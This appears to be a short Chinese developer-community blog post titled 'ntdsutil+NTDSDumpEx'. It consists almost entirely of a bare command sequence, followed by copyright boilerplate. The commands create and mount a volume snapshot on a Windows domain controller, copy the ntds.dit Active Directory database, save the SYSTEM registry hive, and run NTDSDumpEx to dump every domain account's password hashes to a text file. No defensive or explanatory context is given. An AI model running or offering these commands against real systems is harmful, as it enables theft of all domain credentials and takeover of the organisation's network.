ntdsutil+NTDSDumpEx
原创
%SystemRoot%\ntds\
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {db105e51-d615-44bd-805b-20336cdd2a34}" quit quit
copy C:\$SNAP_202304251256_VOLUMEC$\Windows\NTDS\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "umount {db105e51-d615-44bd-805b-20336cdd2a34}" "delete {db105e51-d615-44bd-805b-20336cdd2a34}" quit quit
ntdsutil snapshot "List All" quit quit
reg save hklm\system C:\temp\NTDSDumpEx\SYSTEM
NTDSDumpEx.exe -d ntds.dit -s system -o test.txt
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
评论
登录后参与评论
推荐阅读